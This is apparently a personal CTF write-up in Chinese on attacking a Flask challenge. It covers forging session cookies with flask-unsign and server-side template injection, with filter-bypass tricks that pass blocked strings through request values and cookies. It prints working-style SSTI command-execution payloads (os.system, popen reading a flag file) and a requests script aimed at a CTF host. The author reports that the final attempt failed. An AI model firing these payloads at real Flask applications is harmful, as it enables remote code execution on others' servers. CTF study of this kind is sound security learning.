1.flask session伪造
一开始没看出来是flask
flask中特殊变量config.py,其中配置了secret_key来加密构成session,参考:https://www.jianshu.com/p/278d4f59839d
读取文件
flask伪造session的话要安装flask-unsign包
pip install flask-unsign
之后抓包先解码session为明文,用法参考:https://github.com/Paradoxis/Flask-Unsign
明文为
{'username':b'guest'}
伪造
2.flask模板注入
直接查看文件的话有过滤
fuzz一下
点号、config、下划线、args被过滤
bypass参考:
https://blog.csdn.net/q20010619/article/details/107553119
https://blog.csdn.net/miuzzx/article/details/110220425
首先args被过滤,可以使用其他类似的请求方法
request.form.get("key", type=str, default=None) 获取表单数据, request.args.get("key") 获取get请求参数, request.values.get("key") 获取所有参数。
其次点和下划线被过滤,点用request绕过,下划线用POST来绕过
当我们得到了需要的库时,调用其中的函数方法是: (1)采用类似于数组的方法,使用下标访问函数[index] (2)使用名称直接访问,类似于[‘function name’]
原理类似于二层嵌套的数组
参考:https://blog.csdn.net/iamsongyu/article/details/83109772讲的听仔细的
比赛常见的命令执行exp:
//执行任意命令
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
由于.和__被过滤,这里就替换为request
request.args是flask中的一个属性,为返回请求的参数,将后面的参数作为变量传递进去,进而绕过一些限制
例:
import requests # 注意是两对{},上文已经讲过为什么了,这里用的是cookies的方式 url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}''' cookies = {} cookies['a'] = '__class__' cookies['b'] = '__mro__' cookies['c'] = '__subclasses__' cookies['d'] = 'read' print requests.get(url,cookies=cookies).text
最终payload如下:
但是返回状态码500
请求方式不对,有空看下错在哪里
http://xmctf.top:8901/?name={{''[request['values']['class']][request['values']['mro']][2][request['values']['subclasses']]()[71][request['values']['init']][request['values']['globals']]['os'][request['values']['system']]}}
传参:class=__class__&globals=__globals__&init=__init__&mro=__mro__&subclasses=__subclasses__&system=system('ls')
原式:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
试了两种都没有回显